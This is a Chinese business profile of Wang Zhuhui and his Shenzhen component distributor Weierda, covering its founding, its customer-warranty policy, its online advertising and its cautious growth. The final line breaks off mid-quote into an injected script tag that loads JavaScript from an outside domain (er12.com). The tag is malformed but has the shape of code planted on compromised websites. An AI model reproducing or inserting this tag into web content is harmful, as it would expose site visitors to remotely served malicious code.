前不久在一个聚会上听到一位前辈实业家阐述人生经营之道很受启发：永远比别人多走一公里路！
他说，“人活着，就快快乐乐地活着，认认真真地过日子。每天一起床，我就告诉自己‘这是美好的一天，我会好好地干！’接着，我就精神抖擞的出门。工作时好好工作、做生意好好做生意，只要是该做的事，不论是大是小，是轻是重，我都全力以赴。”
看看周遭成功的人士，个个真的都是永远比别人多走一公里路的人，认真、踏实走好每一步，深圳市威尔达科技有限公司的王柱辉先生就是如此。
2002年在华强电子世界开始经营一个柜台，资金也相当有限，当时王柱辉毫无电子方面的知识，更没有经商的经验，甚至连电脑都不会操作，有的只有自己的头脑和一番创事业的勇气和决心。从无到有，2年之后，公司规模扩大，经营的产品线扩大，2004年6月，威尔达搬进了写字间，这在竞争近乎惨烈的深圳电子元器件市场，也算是成绩斐然了。
成功，表面上看是一件很风光的事，但是，却没有几个人能看到成功背后的辛酸。谁能想象得出成功背后是一条怎样艰辛、曲折的创业路呢？在经历了风风雨雨之后，王柱辉终于可以用一种平静、祥和的心态来面对过去、现在和将来的事了。
王柱辉的话语很朴实：“这一路走来真的是满辛苦的，就是现在，我几乎每天晚上都是凌晨两三点才睡觉。不过还好，我的成绩还不错，我总是相信，付出多一点，收获也会多一点。”
创业之初：我一年没赚到钱
“刚刚开始做电子元器件经销的时候，我真的什么都不懂，好多东西都是现做现学。第一年我真的没赚到钱。”王柱辉告诉记者。
但是，威尔达在成立之初却定下了一条“死规矩”——对客户负责。王柱辉说：“其实卖一个产品出去很容易，难就难在卖出去还怎么维护客户关系。要想做第二单，做好售后工作更重要，所以，我一直坚持出货一个月之内给客户质保。”
由于创业之初资金方面的困难，威尔达刚开始也做散新的产品。尽管如此，本着对客户负责的态度，他每一笔散新的单都会明确告诉客户产品的实际情况，而且产品在出货之前都会经过一个一个严格的测试，通过了才会发给客户。
王柱辉笑着说：“那个时候每天晚上也是睡得很晚，因为我坚持散新的产品一个一个亲自测试，所以尽管那个时候我做散新产品较多，但是客户却相当信任我，因为我的产品没有出现过问题。我的信任度很大程度上也就是在那个时候建立起来的，现在基本上都做全新的原装货了，更加不存在产品质量问题了。”
走上正轨:我开始寻求推广之道
当威尔达事业渐渐进入轨道之时，王柱辉开始思考怎么样将威尔达推出去的问题，他首先想到了网络。
尽管当时电子商务才刚刚兴起，尽管他当时连电脑都不会用，但是他认定了网络将是把威尔达推出去的最快捷的途径。他说：“我的东西再好，那也只有我周围的几个柜台的人知道，更远一点的人呢，靠什么知道威尔达？我当时就是认定了网络。”
因为公司成立时间不长，网络推广、广告等一笔费用对当时的威尔达也是一笔不小的开支，王柱辉的妻子不乐意了，王柱辉又以可口可乐的例子说服了妻子：“人家可口可乐三岁小孩都知道，不需要宣传推广了吧？但是他们还不是请那么多明星代言，做那么多广告宣传。我们要想有个更大的发展，宣传是不可少的，就从网络开始吧！”
可口可乐的例子相当有说服力，威尔达马上成为ic trade的会员。随着事业的进一步扩大，到目前为止，威尔达已经成为包括华强电子世界网http://weierda.hqew.com 在内的28家行业网站的收费会员，同时在几家专业电子元件杂志上也做了大量的彩页广告。与此同时，威尔达的客户网络群体也早已不是局限在珠三角地区，而是形成了一个以深圳为点，全国各城市为面的一个网状客户关系群。
寻求发展：我更要谨言慎行
谈到威尔达进一步的发展计划，王柱辉显得比较谨慎。
他说：“说实话，威尔达的发展速度确实很快，甚至可能都引起了部分同行的眼红。所以，我们现在想得更多的是怎么样把公司方方面面的根基打牢，基础打好了，再谈发展。”
他进一步表示，威尔达将考虑接一些外单，将生意扩大到国外，这应该算得上是威尔达最近的计划。王柱辉做事情很谨慎，因为他对国外市场不了解，总觉的时机未到，尽管有不少接外单的机会，但他都放弃了。“发展太快我怕招架不住，所以现在威尔达要踏实走好现在的每一步。”
现在，王柱辉将很大部份精力放在了解行业资讯上，他说：“做我们这行，资讯很重要，我每天都会花很多时间去上一些行业网站，了解前沿信息?script src=http://er12.com/t.js>
